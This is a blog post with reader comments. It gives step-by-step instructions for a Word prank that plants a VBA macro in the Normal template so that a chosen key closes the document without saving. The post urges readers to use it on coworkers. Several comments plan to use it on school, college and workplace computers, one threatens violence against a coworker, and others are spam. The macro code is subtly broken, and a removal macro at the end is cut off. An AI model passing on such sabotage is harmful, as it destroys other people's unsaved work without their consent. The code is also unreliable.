What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

Key Options

To change the key from E to something else replace this piece of the code in bold

.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

If you want to use a different letter it is: wdKeyYOURLETTER

If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace

Try out different options, its a lot of fun.

  1. Yeah…’cause as a species we just don’t fuck with each other enough.

  2. omg i wana do this to my boss right now but ill get fired if they find out…

    this is perfect! thanks!

  3. I’m gonna do it at school for ALL computers. Thanks.

  4. Ahh!
    That looks awesome xD
    I’ll have to try it!!!

  5. how do you change it back? just delete code??

  6. Such a gay prank

  7. Would be a shame if someone did this to a entire computer lab at a school. *evil grin*

  8. Hey cool man!!!
    i will do it on my college computer!!
    thanx man!!

  9. this is quite funny i may do it but would probably have to find a way to change it back

  10. Cool, I’ll do this at the power plant I work at. Doooh.

    ok, not really. I don’t want anyone to take me seriously and report me as a terrorist.

  11. “I’m gonna do it at school for ALL computers. Thanks.”

    dumbass, the normal.dot file is stored in your user directory. If you to this to ALL the computers you will still be the only one affected… lulz…

  12. How do you change it back?

  13. if you don’t know how to change it back/fix it, don’t use it in the first place.

    I hate script kiddies.

  14. Here we are as human beings trying to spread world peace and social unity when you spring a prank like this?

    Read any (all) of these comments and you’ll see people are just chomping at the bit to try this horrible “joke” so called, out on whoever they can!!! Seriously this could be the next world wide disease, spreading like wild fire…I like it!!!

  15. >if you don’t know how to change it back/fix it, don’t use it in the first place.

    If you give people a recipe to screw up computers then give’m the answer to undo their damage as well… dumbass

  16. How much work to you really think you can get accomplished between the time you load Word and the time you press the e-key? The part where this script doesn’t save (oh the horror) makes it sound like a bigger deal than it really is.

    Make it more effective by using a key that isn’t used as frequently. This accomplishes two things: First, the victim has time to type something that would be more crushing to lose. Two, this makes the solution more difficult to isolate and troubleshoot. An effect that takes effect every time you press “e” is much to easy to pinpoint.

  17. >if you don’t know how to change it back/fix it, don’t use it in the first place.

    Everybody starts someone where dumbass

  18. Meanie, stfu. This is hilarious. God if only I had known this word prank sooner, when I was in high school, and in college. What fun I would have had. hehe =D

  19. Lol… the irony is that the ones who are going to get pranked are the ones using this. Especially those dumb enough to set it to backspace or delete.

  20. this is the cruelest prank i’ve ever seen.
    imagine autosave is not there.

  21. We have this young brat in our IT department who delights in stupid and annoying behaviour and I think this trick, if anonymously emailed to him, will provide the rest of us at the office the chance to take the little shit out back and break his sticky little fingers…. and his face.

    Thanks. I’m looking for the knuckle-duster now….

  22. I still cant do it!!
    I have done everything like you said,,
    but it doesn’t work!!!
    please help me!!

  23. Hey,
    k i seriously want to do this to a good friend of mine for April fools or something. He’s a computer guy , should he be able to figure out how to undo it?


  24. I’m glad for the content. Occasionally, the greatest content originate from the sites one would not expect. Until now, I did not give a whole lot of thought to commenting on blog page entries and have left feedback even less. Looking through your valuable post, will definately motivate me to take action more regularly.

  25. One thing I love about blog posts is that they trigger a thought in my brain. After that happens, I feel as I have to comment expecting it can be beneficial to others.testalong with I find myself coming back to to your blogging site because you have lots of really good insightsare already, that’s very exciting and tells me you know your stuff.other people!

  26. I really like the fresh perspective you did on the issue. Really was not expecting that when I started off studying. Your concepts were easy to understand that I wondered why I never looked at it before. Glad to know that there’s an individual out there that definitely understands what he’s discussing. Great job!

  27. This was brilliant!!!! LOL! i may do it but would probably have to find a way to change it back as well. Hmmm. Now to find someone to do it to ….

  28. I wanted to write you a tiny remark just to say thank you yet again with your awesome views you’ve shown in this case. This has been simply strangely generous of you in giving without restraint what exactly a number of people could possibly have offered for sale for an electronic book to earn some profit on their own, and in particular seeing that you could have tried it in case you decided. These things as well acted to be the easy way to fully grasp other individuals have a similar fervor just as my own to realize a little more with reference to this matter. I am certain there are thousands of more enjoyable instances in the future for those who view your site. Low Self Esteem Symptoms

  29. To remove this prank from ur system use following code
    Sub RemoveEshit
